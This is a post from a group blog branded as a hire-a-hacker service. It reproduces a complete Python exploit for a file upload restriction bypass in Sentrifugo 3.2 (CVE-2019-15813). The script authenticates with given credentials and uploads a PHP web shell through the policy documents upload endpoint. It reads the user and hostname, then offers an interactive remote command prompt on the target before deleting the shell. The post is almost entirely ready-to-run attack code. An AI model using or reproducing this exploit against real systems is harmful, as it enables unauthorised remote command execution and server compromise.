Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863542527

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Sentrifugo 3.2 - File Upload Restriction Bypass (Authenticated)
# Date: 26/10/2020
# Exploit Author: Gurkirat Singh <tbhaxor@gmail.com>
# Vendor Homepage: http://www.sentrifugo.com/
# POC Link: https://www.exploit-db.com/exploits/47323
# Version: 3.2
# Tested on: Linux and Windows
# CVE : CVE-2019-15813
# Contact Details: https://google.com/search?q=tbhaxor

from argparse import ArgumentParser, RawTextHelpFormatter
from bs4 import BeautifulSoup, Tag
from requests.sessions import Session
import tempfile as tmp
import os.path as path
import random
import string
from huepy import *

parser = ArgumentParser(description="Exploit for CVE-2019-15813",
                        formatter_class=RawTextHelpFormatter)
parser.add_argument("--target",
                    "-t",
                    help="target uri where application is installed",
                    required=True,
                    metavar="",
                    dest="t")
parser.add_argument("--user",
                    "-u",
                    help="username to authenticate",
                    required=True,
                    metavar="",
                    dest="u")
parser.add_argument("--password",
                    "-p",
                    help="password to authenticate",
                    required=True,
                    metavar="",
                    dest="p")
args = parser.parse_args()

if args.t.endswith("/"):
    args.t = args.t[:-1]

F = "".join(random.choices(string.ascii_letters, k=13)) + ".php"

with Session() as http:
    print(run("Logging in"))
    data = {"username": args.u, "password": args.p}

    r = http.post(args.t + "/index.php/index/loginpopupsave",
                  data=data,
                  allow_redirects=False)

    if not (r.headers.get("Location", "").endswith("welcome")
            or r.headers.get("Location", "").endswith("welcome/")):
        print(bad("Unable to login. Check username / password"))
        exit(1)
    print(good("Logged in"))

    print(run("Exploiting"))
    files = {"myfile": ("shell.php", "<?php system($_POST['cmd']); ?>")}

    r = http.post(args.t + "/index.php/policydocuments/uploaddoc", files=files)
    if r.status_code != 200:
        print(bad("Unable to upload file"))
        exit(1)
    file_name = r.json()["filedata"]["new_name"]
    print(info("Spawning shell"))

    user = http.post(args.t + "/public/uploads/policy_doc_temp/" + file_name,
                     data={"cmd": "whoami"})
    host = http.post(args.t + "/public/uploads/policy_doc_temp/" + file_name,
                     data={"cmd": "cat /etc/hostname"})
    shell = f"{lightgreen('%s@%s'%(user.content.decode().strip(), host.content.decode().strip()))}{blue('$ ')}"

    while True:
        try:
            cmd = input(shell)
            if cmd == "exit": break
            r = http.post(args.t + "/public/uploads/policy_doc_temp/" +
                          file_name,
                          data={"cmd": cmd})
            print(r.content.decode().strip())
        except Exception as e:
            print()
            break

    print(run("Cleaning"))
    http.post(args.t + "/public/uploads/policy_doc_temp/" + file_name,
              data={"cmd": "rm %s" % file_name})
    r = http.get(args.t + "/public/uploads/policy_doc_temp/" + file_name)
    if r.status_code == 404:
        print(good("Cleaned"))
    else:
        print(bad("Unable to clean the file"))